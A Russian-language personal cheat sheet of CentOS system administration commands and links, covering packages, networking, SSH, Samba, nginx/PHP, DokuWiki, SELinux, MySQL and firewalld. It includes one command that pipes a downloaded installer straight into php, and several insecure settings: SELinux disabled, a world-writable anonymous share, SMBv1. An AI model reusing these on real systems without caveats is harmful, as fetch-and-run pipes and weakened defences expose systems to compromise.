https://thornelabs.net/2014/02/03/hash-roots-password-in-rhel-and-centos-kickstart-profiles.html
openssl passwd -1 "my_password"
mkpasswd -m sha-512
echo "my_password" | md5sum
echo "my_password" | sha512sum

Работа с пакетами
поиск пакета по файлу
yum whatprovides "*/grub-crypt"
yum search netstat
repoquery -qf */netstat */lsof */nmap

очистка кеша и переиндексация репозиториев (в случае ошибки)
yum clean all

установка нужных пакетов
Yum, шпаргалка
EPEL Repo на CentOS 7/6 — Инструкция по Установке
yum install epel-release

yum install mc ncdu nano curl wget pciutils netstat net-tools

Базовая настройка CentOS 7
Настройка сети в CentOS 7
uzverss работа с сетевыми интерфейсами

создание пользователей
adduser username
passwd username
gpasswd -a username wheel # добавить в группу
gpasswd -d username wheel # удалить из группы
userdel username
userdel -r username # удалит пользователя с каталогом
sudo lid -g wheel

глянуть пользователей
cat /etc/passwd | awk /bash/{print}


коротко об systemd

удаление старых ядер
http://pyatilistnik.org/kak-udalit-staryie-yadra-centos-7-za-minutu/

rpm -q kernel
uname -a
yum -y install yum-utils

сделаем, так чтобы CentOS 7, оставлял только 2 или 3 ядра, а все остальное затирал
package-cleanup --oldkernels --count=2

Теперь сделаем, чтобы система сама, автоматически это делала и проводила ревизию
vi /etc/yum.conf
installonly_limit=3

удалить вручную
yum remove имя ядра


Синхронизация времени
https://itdraft.ru/2018/12/20/sinhronizacija-vremeni-v-centos-7/
http://fliplinux.com/centos-x44.html

По-умолчанию в Centos 7 minimal синхронизация времени не настроена
yum install chrony

Для изменения серверов синхронизации времени надо отредактировать файл
nano /etc/chrony.conf

server 0.centos.pool.ntp.org iburst
server 1.centos.pool.ntp.org iburst
server 2.centos.pool.ntp.org iburst
server 3.centos.pool.ntp.org iburst

Запускаем сервис и добавляем его в автозагрузку
systemctl start chronyd
systemctl enable chronyd

Смотрим статус
chronyc sources

Проверяем, активировалась ли синхронизация
timedatectl

ручная настройка
date +%T -s "17:34:55"

комбинация клавиш, которая позволяет обратиться напрямую в ядро, минуя всяческие программы и оболочки

Alt + SysRq + B. Равнозначно нажатию кнопки Reset. Нежелательно, ибо высока вероятность потерять несохранённые данные.
Alt + SysRq + O. Выключает систему корректным образом.
Alt + SysRq + S. Синхронизует систему. Если выполнить перед первой командой, то можно не бояться за данные.
Alt + SysRq + K. Перезагружвет графическую оболочку. Выполнять, если всё зависло и не отвечает.
Alt + SysRq + R. Если не хочешь перезагружать иксы, отвиснет твою мышку и клавиатуру.
Alt + SysRq + H. Выводит вышеуказанные и все прочие доступные команды.


убрать заставку при загрузке grub
http://centosquestions.com/turn-off-progress-bar-centos-boot/

vi /etc/default/grub
Удалите rhgb quiet из этой записи
GRUB_CMDLINE_LINUX="crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet"

изменить на
GRUB_CMDLINE_LINUX="crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap"

после внесения этих изменений вам нужно переконфигурировать grub2
grub2-mkconfig -o /etc/grub2.cfg



Настройка русской локализации utf-8 в CentOS (старое)
Настройка русской локализации utf-8 в CentOS
Базовая настройка CentOS 7
locale -a | grep ru
нет русской локали то ее необходимо сделать. Команда для этого выглядит так:
localedef -i ru_RU -f UTF-8 ru_RU.UTF-8

файлы находящиеся в папке /usr/share/i18n/ принадлежат glibc-common-2.x.x и если вы их не наблюдаете там, то необходимо разбираться с самим glibc-common

touch /etc/sysconfig/i18n
LANG="ru_RU.UTF-8"
SUPPORTED="ru_RU.UTF-8:ru_RU:ru"
SYSFONT="latarcyrheb-sun16"

запись в /etc/environment перебивает этот файл, т.е. если там есть LANG="en_US.UTF-8" то в /etc/sysconfig/i18n можно писать что угодно

если пустой /usr/share/i18n/locales/ и выдаёт ошибку
haracter map file `UTF-8' not found: No such file or directory
cannot read character map directory `/usr/share/i18n/charmaps': No such file or directory

yum -y install glibc-locale-source glibc-langpack-en
localedef -f UTF-8 -i en_US en_US.UTF-8

настройка раскладки и локали
system-config-language
system-config-keyboard

/etc/vconsole.conf
KEYTABLE="ru"
MODEL="pc105"
LAYOUT="us,ru"
VARIANT="intl"
OPTIONS="grp:alt_shift_toggle,grp_led:scroll"


https://wiki.centos.org/EdHeron/EditorDefaultNano
для удобства работы настраиваем nano и делаем редактором по умолчанию



nano, по умолчанию, включает перенос слов. Хотя это хорошо в обычном документе, это нежелательно в файлах конфигурации.



Проверим используемый в данный момент редактор по умолчанию:
echo $EDITOR

Установим nano редактором по умолчанию
export EDITOR=nano

Установка и Настройка OpenSSH-сервера


http://redhat-club.org/2011/установка-и-настройка-openssh-сервера-в-rhel-centos-fedora

yum install openssh-server

chkconfig sshd on
chkconfig --level 2345 sshd on
sudo systemctl reload sshd.service

systemctl restart sshd

Настройки SSH-сервера хранятся в файле /etc/ssh/sshd_config

далееНаиболее важные опции с точки зрения безопасности:

Port 22 – Порт по умолчанию.
Protocol 2,1 – Какая реализация протокола SSH будет использоваться. Рекомендую оставить только 2.
ListenAddress – По умолчанию SSH сервер прослушивает все доступные интерфейсы, что абсолютно не нужно в большинстве ситуаций. Необходимо прописать сетевой интерфейс, с которого будет осуществляться управление сервером.
PermitRootLogin yes – По умолчанию разрешает входить по SSH суперпользователю root. Необходимо указать no.
AllowUsers adminsys – Данный параметр разрешает входить по SSH только перечисленным пользователям.
AllowGroups wheel – Группа пользователей которой можно входить по SSH, опцию можно не использовать если указана опция AllowUsers.
DenyUsers baduser – Данная опция запрещает вход по SSH перечисленным пользователям.
DenyGroups badgroup – Данная опция запрещает вход по SSH перечисленным группам пользователей.
MaxAuthTries 3 – Сколько раз переспрашивать пароль при неверном вводе. В данном случае SSH-сервер после 3 неверных попыток разорвет соединение с клиентом.
LoginGraceTime 60 – Через сколько секунд разрывать соединение при отсутствии аутентификации со стороны клиента.
PermitEmptyPasswords no – Разрешать использовать пустые пароли. По вполне понятным причинам значение этого параметра no.
PrintLastLog yes – при входе пользователя в систему по SSH ему будет показано когда и откуда последний раз был произведен вход под данным пользователем.
LogLevel INFO – В качестве параметра этой опции необходимо указать уровень журналирования. Возможные значения QUIET, FATAL, ERROR, INFO, VERBOSE, DEBUG1, DEBUG2, DEBUG3. Чем выше уровень журналирования, тем больше информации появится в файле регистрации событий.
SyslogFacility AUTHPRIV – Куда будут попадать логи. Возможные значения: DAEMON, USER, AUTH, LOCAL0, LOCAL1, LOCAL2, LOCAL3, LOCAL4, LOCAL5, LOCAL6, LOCAL7.
Посмотреть в каком файле окажется логируемая информация можно посмотрев опции syslogd в файле /etc/syslog.conf.


ошибки при подключении по ssh


Устанавливаем статический ip



узнаём интерфейс
ip a
nano /etc/sysconfig/network-scripts/ifcfg-интерфейс



ip neig flush all # очистить кэш arp
systemd-resolve --flush-caches # очистить кэш dns имён
systemctl restart systemd-resolved # обновить dns
sudo /etc/init.d/dns-clean start # очистить кэш dns имён для старых os

ip ro
yum install net-tools # нужен для роутинга
route add default gw 192.168.1.1 # добавить шлюз по умолчанию
route del default gw 192.168.1.1 # удалить шлюз по умолчанию
route add -net 192.168.2.0/24 gw 192.168.1.2 # дополнительный роутинг
route delete -net 192.168.1.0 # удалить маршрут

лучше обойтись без net-tools, поскольку он устарел
ip route add default via 192.168.1.1
ip route add default via 192.168.1.1


https://www.centos.org/docs/5/html/5.2/Deployment_Guide/s1-networkscripts-static-routes.html
Для того чтобы добавленные маршруты работали после перезапуска системы необходимо прописать их в /etc/sysconfig/network-scripts/route-имя_интерфейса
default 192.168.0.1 dev eth0
10.10.10.0/24 via 192.168.0.1 dev eth0
172.16.1.0/24 via 192.168.0.1 dev eth0

systemctl restart network

Сменить имя и группу пользователя
Изменить только имя пользователя:
usermod --login new_username old_username

Чтобы изменить имя пользователя и имя домашнего каталога:
usermod --login new_username --move-home --home /home/dir_old_username old_username

Вы также можете изменить имя группы, связанной с пользователем:
groupmod --new-name new_username old_username

коротко:
usermod -l new_user -m -d /home/old_user old_user
groupmod -n new_user old_user


Ввод Linux в домен (инструкция от Eset)

SAMBA
Статический ip и gateway задается следующей командой, где «ens192» это имя сетевого адаптера
nmcli connection modify "ens192" ipv4.addresses "192.168.1.100/24 192.168.1.1"

Настройка FQDN
hostnamectl set-hostname ls01.fqdn.com

Перезагружаем службу имен
systemctl restart systemd-hostnamed

Проверить результат можно следующими командами
hostnamectl status
hostname
hostname -s
hostname -f

SELINUX
На данном этапе службу SELINUX необходимо отключить, проверить статус службы SELINUX можно командой
sestatus

Измените значение SELINUX в файле /etc/selinux/config на SELINUX=disabled затем перезагрузите сервер.
reboot

SAMBA
Установка
yum install samba

Добавление службы в автоматический запуск
chkconfig smb on

Запуск службы и проверка состояния
service smb start
smbstatus

firewallD
По умолчанию CentOS 7 использует брандмауэр firewallD, состояние службы можно узнать командой

firewall-cmd --state

Для получения списка правил и сервисов используйте
firewall-cmd --list-all
firewall-cmd --list-services

Общий ресурс с анонимным доступом
Создаем папку для ресурса /samba/guest
mkdir /samba
mkdir /samba/guest

Меняем владельца и назначаем права
chown nobody:nobody /samba/guest
chmod 777 /samba/guest

Редактируем файл конфигурации SAMBA /etc/samba/smb.conf
nano /etc/samba/smb.conf

Меняем содержание строк оригинального файла на следующее



min protocol = NT1 выставить если есть windows XP и нет win10
если есть win 10 то https://support.microsoft.com/ru-ru/help/2696547/how-to-detect-enable-and-disable-smbv1-smbv2-and-smbv3-in-windows-and

Проверка параметров и перезагрузка службы
testparm
service smb restart
smbstatus

запускаем SELINUX


особенности установки Oracle linux
wget -c http://mirrors.kernel.org/oracle/OL7/u6/x86_64/x86_64-boot-uek.iso
при установке указать репозиторий
yum.oracle.com/repo/OracleLinux/OL7/latest/x86_64/

список зеркал для загрузки
https://community.oracle.com/docs/DOC-917963
список реп
http://yum.oracle.com/oracle-linux-7.html

Подключение публичного Yum-репозитория для Oracle Enterprise Linux
https://stan1slav.blogspot.com/2010/08/yum-oracle-enterprise-linux.html
cd /etc/yum.repos.d
mv oracle-linux-ol7.repo oracle-linux-ol7.repo.disabled
wget http://public-yum.oracle.com/public-yum-ol7.repo
Изменить в файле описания репозитариев (public-yum-el*.repo) enabled=0 на enabled=1 для необходимых секций.

если нужно поставить MySQL
wget https://dev.mysql.com/get/mysql80-community-release-el7-2.noarch.rpm
rpm -Uvh mysql80-community-release-el7-2.noarch.rpm

установка инструмента разработчиков MySQL Workbench
yum install mysql-workbench-community

Увеличение LVM диска
Правильное увеличение размера диска в виртуальной машине
Увеличение LVM диска в виртуальной машине на лету
https://www.gotoadm.ru/resize-disk-lvm-on-linux-centos/
lvextend и lvreduce изменяют размер логического тома. опция -r
resize2fs работает с файловыми системами ext2/3/4 и должен использоваться после того, как один из них выпустил lvextend
команда resize2fs ПОСЛЕ расширения или ПРЕЖДЕ ЧЕМ уменьшить логические экстенты, назначенные данному логическому тому
df -h
parted /dev/sda
print
resizepart 2
resizepart 3
quit
pvs
lvscan
lvdisplay
vgs
pvresize /dev/sda3
lvextend /dev/test-srv-vg/root -l +100%FREE

pvdisplay -Cv
vgscan
vgchange -ay
resize2fs /dev/test-srv-vg/root

fsck -f /dev/mapper/test--srv--vg-root (если не смонтирована)
fdisk -l /dev/sda


Ставит LEMP



https://www.hostinger.com/tutorials/how-to-install-lemp-centos7
https://www.cloudjojo.com/how-to-install-nginx-mariadb-php-lemp-on-centos-7/
https://serveradmin.ru/ustanovka-i-nastroyka-nginx-php-fpm-php7-1-na-centos-7/

1) установка nginx
yum install epel-release -y
yum install nginx -y
systemctl start nginx
systemctl enable nginx

2) установка MySQL (MariaDB)
yum install mariadb-server mariadb -y
systemctl start mariadb
systemctl enable mariadb
mysql_secure_installation
MariaDB запросит пароль root, так как это первоначальная установка, и у вас его нет, поэтому просто нажмите enter. Следующее приглашение спросит, хотите ли вы установить пароль root, введите Y и следуйте инструкциям

3) установка PHP v7.3
yum repolist
yum install yum-utils
yum install https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
curl -O http://rpms.remirepo.net/enterprise/remi-release-7.rpm
rpm -Uvh remi-release-7.rpm
yum --enablerepo=remi,remi-php73 install php-fpm php-common



обновить php
yum-config-manager --disable remi-php73
yum-config-manager --enable remi-php74
yum update -y

4) настройка связки nginx + php
/etc/nginx/conf.d - каталог для запуска конфигураций, сюда добавляем символические ссылки
например: ln -s /etc/nginx/virt_host/default_php.conf /etc/nginx/conf.d/
/etc/nginx/virt_host - папка для хранения файлов конфигураций хостов (можно обозвать по другому)

в дебиановых
sites-available
каталог для хранения файлов хостов
sites-enabled
каталог, предоставляющий Nginx список хостов, которые нужно обслуживать

Добавление виртуальных хостов на nginx (очень доступно)
https://shneider-host.ru/blog/dobavlenie-virtualnyh-hostov-na-nginx.html
https://www.8host.com/blog/nastrojka-virtualnyx-xostov-nginx-v-centos-7/
https://www.digitalocean.com/community/tutorials/how-to-set-up-nginx-server-blocks-on-centos-7
NGINX - создание виртуальных хостов
Один конфиг Nginx для работы с кучей разных сайтов
Динамические виртуальные хосты (dynamic vhost) в nginx
Настройка NGINX для поддержки одного и нескольких сайтов WordPress
Несколько сайтов на nginx, один IP-адрес


mkdir /etc/nginx/virt_host
nano /etc/nginx/virt_host/default_php.conf



netstat -tulpn | grep php-fpm
tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN 9084/php-fpm: maste

nano /etc/php-fpm.d/www.conf
Найдите и измените эти строки:

user = nginx
group = nginx
listen = /var/run/php-fpm/php-fpm.sock
listen.owner = nginx
listen.group = nginx
listen.mode = 0660

5) проверяем
ln -s /etc/nginx/virt_host/default_php.conf /etc/nginx/conf.d/
nginx -t
sudo systemctl start php-fpm
sudo systemctl enable php-fpm
sudo systemctl restart php-fpm nginx

https://nginxconfig.io/
https://www.nginx.com/resources/wiki/start/
https://docs.joomla.org/Nginx
https://www.nginx.com/resources/wiki/start/topics/recipes/yii/
https://www.nginx.com/resources/wiki/start/topics/recipes/drupal/
https://www.nginx.com/resources/wiki/start/topics/recipes/wordpress/
https://wordpress.org/support/article/create-a-network/
Настройка nginx для работы с сертификатами ГОСТ 2012 года


NGINX Unit
http://unit.nginx.org/
https://github.com/nginx/unit
http://hg.nginx.org/unit
https://hub.docker.com/r/nginx/unit/
https://github.com/miholeus/nginx-unit-python

Remi's RPM repository PHP with the NGINX unit application server

1. Official repository installation


2. Remi repository installation


3. Server and modules installation


4. Test configuration
4.1 Preparation
curl -O https://blog.remirepo.net/public/unit.config


4.2 Run the service:
# systemctl start unit

4.3 Configuration
Configuration is managed through a REST API:

# curl -X PUT --data-binary @unit.config --unix-socket /var/run/unit/control.sock http://localhost/config

And to check running configuration:
# curl --unix-socket /var/run/unit/control.sock http://localhost/config

5 Usage
You can access the application on each new port:

http://localhost:8300/ for default PHP
http://localhost:8356/ for PHP version 5.6
http://localhost:8372/ for PHP version 7.2
etc


https://unit.nginx.org/configuration/
Nginx Unit Веб. Мысли вслух
Установка NGINX + PHP7 последних версий
Nginx Unit + Django + Virtualenv - Конфигурация
Установка WordPress с модулем NGINX
Installing WordPress with NGINX Unit - NGINX
HOW TO INSTALL NGINX UNIT ON LINUX
NGINX Unit – Application Server from Nginx
Nginx Unit + Bitrix настройка
Настройка NGINX Unit под PHP


Разные CMS

Настройка брадмаузера


Установка dokuwiki


https://computingforgeeks.com/install-dokuwiki-behind-nginx-and-letsencrypt-on-linux/
https://www.dokuwiki.org/install:centos

https://download.dokuwiki.org/src/dokuwiki/dokuwiki-stable.tgz
export ARCHIVE="dokuwiki-stable"
tar xvf ${ARCHIVE}.tgz
sudo mkdir -p /var/www/html/
export RELEASE="2018-04-22a"
sudo mv dokuwiki-${RELEASE} /var/www/html/dokuwiki
sudo chown -R nginx:nginx /var/www/html/dokuwiki/
chmod -R 755 /var/www/html/dokuwiki/

nano /etc/nginx/virt_host/dokuwiki.conf



ln -s /etc/nginx/virt_host/dokuwiki.conf /etc/nginx/conf.d/
проверим
nginx -t
sudo systemctl restart php-fpm nginx

ошибки при установке и настройке dokuwiki
вся ценная информация находится в папке dokuwiki/data/pages бекапировать нужно её

за авторизацию отвечают
/dokuwiki/conf/
acl.auth.php
local.php
users.auth.php

если при доменной аудентификации пишет No ACL setup yet! Denying access to everyone.
то в файле local.php добавить вывод ошибок
$conf['plugin']['authad']['debug'] = 1;

скорее всего не установлен php-ldap
yum install php-ldap
systemctl restart php-fpm nginx

сброс авторизации можно сделать при помощи файла install.php


Возня с SELinux


Включение и Отключение SELinux

Системы защиты Linux, подробно о SELinux

sestatus
setenforce 0 # выключить selinux
setenforce 1 # включить selinux
nano /etc/selinux/config
SELINUX=permissive

Если не обнаружено сообщений о запретах в /var/log/messages, то
SELINUX=enforcing

возня с MySQL
Как cбросить пароль пользователя root в MySQL
https://andreyex.ru/operacionnaya-sistema-linux/nastrojka-linux/kak-cbrosit-parol-polzovatelya-root-v-mysql/

1.Войдите как root через SSH и остановитt сервер MySQL.

debian-ubuntu# /etc/init.d/mysql stop
centos-fedora# /etc/init.d/mysqld stop

2. Запустите сервер MySQL с опцией “skip-grant-tables”.

# mysqld_safe --skip-grant-tables &

Это отключит проверку подлинности MySQL и запустить процесс в фоновом режиме.

3. Войдите в MySQL как root.

# mysql -u root mysql

4. Сбросьте пароль MySQL.

UPDATE user SET Password=PASSWORD('NEW_YOUR_PASSWORD') WHERE User='root';
FLUSH PRIVILEGES;
exit;

Заменить "new_your_password" новым паролем!

5. После того, как пароль будет сброшен, запустите сервер MySQL в нормальном режиме.

debian-ubuntu# /etc/init.d/mysql restart
centos-fedora# /etc/init.d/mysqld restart

Теперь вы можете подключиться к MySQL как пользователь root, используя новый пароль.

Введите "mysql -u root -p" в терминале, и введите пароль при появлении соответствующего запроса.

Импорт и экспорт базы данных MySQL
Экспорт БД
Чтобы экспортировать базу данных, откройте терминал, убедитесь, что вы не вошли в MySQL

mysqldump -u [username] -p [database name] > [database name].sql

База данных, которая выбрана в команде теперь будет экспортированы.

Импорт БД
Чтобы импортировать базу данных, необходимо сначала создать новую пустую базу данных в оболочке
MySQL, чтобы служить в качестве места для ваших данных.

CREATE DATABASE newdatabase;

Затем выйдите из оболочки MySQL и введите следующую команду в командной строке:
mysql -u [username] -p newdatabase < [database name].sql

При этом выбранная база данных будет импортирована в целевую базу данных в MySQL.

Перестал реплицироваться сервер MySQL


возня с nginx
ps auZ | grep nginx
grep nginx /var/log/audit/audit.log | audit2allow -M nginx
getsebool -a | grep -i http
semanage fcontext -l | grep nginx

chcon -R -t httpd_sys_content_t /web/ # временно разрешить запись в web

https://p0vidl0.info/nginx-i-selinux-pri-obnovlenii-do-rhel-6-6-centos-6-6.html
Добавление контекста httpd_t в список permissive:
# semanage permissive -a httpd_t

Удаление контекста httpd_t из списка permissive:
# semanage permissive -d httpd_t

semanage fcontext -a -t httpd_sys_content_t /www(/.*)?
semanage fcontext --add --type httpd_sys_content_t '/var/www/dokuwiki(/.*)?'

cat /etc/selinux/targeted/contexts/files/


самое простое решение
sudo yum install policycoreutils-python
sudo semanage permissive -a httpd_t

разные мелочи
Adminer аналог phpMyAdmin в одном файле
https://www.adminer.org/

https://phpdocker.io/generator
https://nginxconfig.io
https://github.com/digitalocean/nginxconfig.io



Перенос из KVM в VMware


подошло:
qemu-img convert -f qcow2 centos7-docuwiki.qcow2 -O vmdk centos7-docuwiki.vmdk
qemu-img convert -f raw -O vmdk centos7-docuwiki.raw centos7-docuwiki.vmdk

испробованные варианты
qemu-img convert -f qcow2 myImage.qcow2 -O vmdk myNewImage.vmdk
esxcli system module load -m multiextent
vmkfstools -i myImage.vmdk outputName.vmdk -d thin

qemu-img convert -f qcow2 -O vmdk -o adapter_type=lsilogic,subformat=streamOptimized,compat6 SC-1.qcow2 SC-1.vmdk
esxcli system module load -m multiextent
vmkfstools -i myImage.vmdk outputName.vmdk -d thin

не взлетело:
https://client.cloud4y.ru/index.php/knowledgebase/57/-KVM-Xen---VMware---QEMU.html
qemu-img convert -f qcow2 -O vmdk -o adapter_type=lsilogic,subformat=streamOptimized,compat6 centos7-docuwiki.qcow2 centos7-docuwiki.vmdk

esxcli system module load -m multiextent
vmkfstools -i centos7-wiki.vmdk centos7_wiki.vmdk -d thin


dokuwiki



https://www.dokuwiki.org/ru:dokuwiki
https://www.dokuwiki.org/ru:install
https://www.dokuwiki.org/install:fedora
https://www.dokuwiki.org/install:nginx

все страницы по умолчанию сохраняются в папке /var/www/html/dokuwiki/data/pages/ при обновлении или восстановлении, после установки нужно заменить эту папку, а также файлы аудентификации, находящиеся тут: /var/www/html/dokuwiki/conf/ acl.auth.php local.php и users.auth.php
а потом заново установить плагины

установка плагинов в dokuwiki
https://www.dokuwiki.org/plugin:addnewpage
https://www.dokuwiki.org/plugin:bookcreator
https://www.dokuwiki.org/plugin:dw2pdf
https://www.dokuwiki.org/plugin:odt
https://www.dokuwiki.org/tips:pdfexport


Install Composer on CentOS 7
# sudo yum -y update
# sudo yum install git zip unzip
# cd /tmp
# sudo curl -sS https://getcomposer.org/installer | php
или
# php -r "readfile('https://getcomposer.org/installer');" | php
# mv composer.phar /usr/local/bin/composer
$ php /usr/local/bin/composer --version

https://github.com/mpdf/mpdf/
composer require mpdf/mpdf

проверить php
php -i | grep php.ini
php -i | grep "Configuration File"

HTML в PDF
Генерируем PDF-файлы в веб-проекте: программа wkhtmltopdf


PS.
после установки dokuwiki удалить файл install.php
(или перенести, он пригодится если слетела авторизация)


Установка xrdp на CentOS 7
установка XRDP, VNC и SSH на Ubuntu и Debian.
разница между DE и WM, а также работа в голых иксах

бекап
lftp - Синхронизация папок по ftp
Как добавить задание в планировщик cron в Linux/UNIX

15 2 * * * /home/пользователь/backup.sh 2>&1 >/dev/null


изменение времени файлов, удаление истории посещения и команд в linux
сброс пароля
https://disnetern.ru/password-reset-root-centos-red-hat/
Если Вы забыли root пароль на линуксе CentOS Вам нужно провести данные манипуляции:

1) При загрузке останавливаем загрузчик на GRUB нажатием любой кнопки.
2) Выбираем нужную строчку и нажимаем e.
3) Выбираем строчку с kernel (kernel /vmlinuz /…версия ядра…/ root=LABEL=/)
4) Дописываем в конец строки single и нажимаем Enter
5) Нажимаем b для загрузки системы
6) После загрузки меняем пароль (passwd)
Данная методика работает почти на всех ОС линукс.

аварии, ошибки
Восстанавливаем свалившийся в busybox из-за ошибки initramfs Linux
Монтирование LVM томов (CentOS)
Перестал реплицироваться сервер MySQL

не видит сетевую карту
yum install pciutils
lspci -k -nn | grep -i 'ethernet'
lspci | grep Eth видит, а ip a - нет
yum install https://www.elrepo.org/elrepo-release-7.0-4.el7.elrepo.noarch.rpm
yum install kmod-e100
reboot

ошибки работы с yum
yum update — multilib Как решить проблему Error: Protected multilib versions
Процесс обновления на aws (sudo yum update) завис из-за нехватки памяти, после этого попытки sudo yum update приводили к сообщению
Помогло:

yum upgrade --setopt=protected_multilib=false --skip-broken

https://www.centos.org/forums/viewtopic.php?t=67121
yum --enablerepo=extras install epel-release
yum install keychecker
keychecker

package-cleanup --dupes Отобразить список дублирующих пакетов
package-cleanup –cleandupes удаление дублирующих пакетов более старой версии

ошибки при обновлении
Пробуем другое зеркало.
http://centos-mirror.rbc.ru/pub/centos/7.5.1804/updates/x86_64/repodata/repomd.xml: [Errno 14] HTTP Error 404 - Not Found
error: Failed dependencies:
	epel-release = 7 is needed by remi-release-7.6-2.el7.remi.noarch

yum install https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
rpm -Uvh remi-release-7.rpm


yum clean all
Это очистит все тайники yum, включая кэшированные зеркала ваших репозиториев yum. На следующем запуске появится новый список зеркал.


дополнительно
Веб-сервер на основе Nginx и PHP-FPM
Оптимальная настройка Nginx
Виртуальные хосты в Apache и Nginx

Установка стека LEMP в Ubuntu 18.04
https://www.digitalocean.com/community/tutorials/how-to-install-linux-nginx-mysql-php-lemp-stack-ubuntu-18-04
Настройка сервера Linux Nginx, PHP 7, MySQL (LEMP) с поддержкой сертификата Let’s Encrypt в Ubuntu Linux 18.04 Bionic
https://www.digitalocean.com/community/tutorials/nginx-ubuntu-18-04-ru

Настройте Perl-FastCGI на сервере CentOS 7 Nginx

Webmin



sudo rpm --import http://www.webmin.com/jcameron-key.asc
sudo yum install webmin
sudo chkconfig webmin on


Drupal
https://help.ubuntu.ru/wiki/drupal
Перед началом использования создайте для Drupal базу данных с помощью клиента mysql:
mysql -u root -p -e "CREATE DATABASE databasename CHARACTER SET utf8 COLLATE utf8_general_ci;"
Также желательно завести отдельного пользователя MySQL, который будет иметь доступ только к созданной базе:
mysql -u root -p
вводим там запросы:





MySQL: Полный список часто используемых и полезных команд
посмотреть всех пользователей
SELECT User, Host FROM mysql.user;
SELECT User, Host, Password, password_expired FROM mysql.user;
увидеть разрешения для пользователя
SHOW GRANTS FOR 'test'@'localhost'
отзыв всех разрешений
REVOKE ALL PRIVILEGES, GRANT OPTION FROM 'test'@'localhost'
удалить пользователя test
drop user 'test'@'localhost'
SHOW DATABASES;
удалить базу
DROP DATABASE имя_базы_даных;

«Could not load MODX config file»
/setup/index.php


chown -R www-data:www-data /var/www/

ошибки
Как установить Lighttpd на CentOS 7
systemctl status lighttpd

Loaded: loaded (/usr/lib/systemd/system/lighttpd.service; disabled; vendor preset: disabled)

откройте файл конфигурации /etc/lighttpd/lighttpd.conf и измените строку server.use-ipv6 с «enable» на disable.
systemctl restart lighttpd



Как установить WordPress на Ubuntu с LEMP (Linux, Nginx, MySQL, PHP)
https://websiteforstudents.com/install-typo3-on-ubuntu-17-04-17-10-with-nginx-mariadb-and-php/
https://docs.joomla.org/Nginx

Расшариваем веб-сайт на localhost в глобальную сеть интернет.
centos docker yii



установка dokuwiki centos php nginx часть 1

посмотреть часть 2

Настройка брадмаузера



https://www.certdepot.net/rhel7-get-started-firewalld/
https://www.8host.com/blog/nastrojka-brandmauera-firewalld-v-centos-7/
https://itproffi.ru/firewalld-ustanovka-i-nastrojka-zony-nat-probros-portov/
Настройка firewalld CentOS 7 с примерами команд
Использование ipset во встроенном брандмауэре CentOS 7

краткий рабочий пример
vpn pptp centos7
установка sams2 centos

firewall-cmd --state
firewall-cmd --get-default-zone
firewall-cmd --get-active-zones
firewall-cmd --list-all
firewall-cmd --get-zones
firewall-cmd --get-services

firewall-cmd --zone=public --list-ports
firewall-cmd --zone=public --list-services

firewall-cmd --zone=external --list-ports
firewall-cmd --zone=external --list-services

firewall-cmd --zone=external --change-interface=enp3s0 --permanent
firewall-cmd --zone=external --remove-service=ssh --permanent
firewall-cmd --get-active-zones

firewall-cmd --zone=public --remove-port=443/tcp --permanent
firewall-cmd --zone=public --remove-port=80/tcp --permanent
firewall-cmd --zone=public --remove-port=22/tcp --permanent
firewall-cmd --zone=public --remove-service=dhcpv6-client --permanent

firewall-cmd --zone=public --add-service=ssh --permanent
firewall-cmd --zone=public --add-service=http --permanent
firewall-cmd --zone=public --add-service=https --permanent
firewall-cmd --zone=public --add-port=3128/tcp --permanent

firewall-cmd --reload

firewall-cmd --zone=external --list-services
firewall-cmd --list-all
systemctl restart firewalld
sudo systemctl enable firewalld

http://fliplinux.com/ip-cen.html
«белый список»
firewall-cmd --permanent --zone=public --add-source=192.168.100.0/24
firewall-cmd --permanent --zone=public --add-source=192.168.222.123/32


firewall-cmd --permanent --new-ipset=IP-users --type=hash:net
firewall-cmd --ipset=IP-servers --add-entry=192.168.0.0/24 --permanent
firewall-cmd --ipset=IP-servers --add-entry=192.168.200.12 --permanent
firewall-cmd --ipset=IP-servers --add-entry=192.168.200.200 --permanent

firewall-cmd --ipset=IP-servers --remove-entry=192.168.20.0/24 --permanent

firewall-cmd --ipset=IP-servers --get-entries
firewall-cmd --permanent --zone=public --add-rich-rule='rule source ipset="IP-servers" service name="ssh" accept'

firewall-cmd --remove-rich-rule='rule source ipset=IP-users service name="http" drop' --permanent

firewall-cmd --permanent --zone=public --list-rich-rules

чтобы все пользователи (список ipset IP-users) ходили через squid несмотря на net.ipv4.ip_forward=1
firewall-cmd --direct --permanent --add-rule ipv4 filter FORWARD 0 -i enp3s0 -o enp1s0 -m set --match-set IP-servers src -j ACCEPT
firewall-cmd --direct --permanent --add-rule ipv4 filter FORWARD 0 -i enp1s0 -o enp3s0 -m set --match-set IP-servers src -j ACCEPT

firewall-cmd --direct --permanent --add-rule ipv4 filter FORWARD 0 -i enp3s0 -o enp1s0 -j DROP
firewall-cmd --direct --permanent --add-rule ipv4 filter FORWARD 0 -i enp1s0 -o enp3s0 -j DROP

открыть Google Play
firewall-cmd --zone=public --add-port=5228/tcp --permanent
firewall-cmd --zone=external --add-port=5228/tcp --permanent

firewall-cmd --reload
systemctl restart firewalld

iptables -S

углубиться в firewall-cmd
http://notes-unix.blogspot.com/2015/06/firewalld.html
Использование firewall-cmd:
... получение списка всех поддерживаемых зон:
# firewall-cmd --get-zones
... получение активных зон
# firewall-cmd --get-active-zones
... задание зоны по умолчанию
# firewall-cmd --set-default-zone=
... добавление интерфейса в зону
# firewall-cmd [--zone=] --add-interface=
... удаление интерфейса из зоны
# firewall-cmd [--zone=] --remove-interface=
... сделать запрос, относится ли интерфейс к зоне
# firewall-cmd [--zone=] --query-interface=
... включение "режима паники", блокирующего весь сетевой трафик
# firewall-cmd --enable-panic
... Отключение "режима паники"
# firewall-cmd --disable-panic

Включение службы/маскарадинга/блока на постоянно:

Эти опции доступны только после перезагрузки или перезапуска. Для того чтобы иметь опции, изменяемые в среде выполнения, и постоянные опции, необходимо обеспечить оба варианта.
Опция --permanent должна быть первой для всех постоянных вызовов
... Пример: включение службы http в зоне public на постоянно
# firewall-cmd --permanent --zone=public --add-service=http
... Пример: Включение порта 443/TCP для https в пределах зоны home на постоянно:
# firewall-cmd --permanent --zone=home --add-port=443/tcp

Включение/Отключение службы в пределах зоны:
... получение списка всех поддерживаемых служб
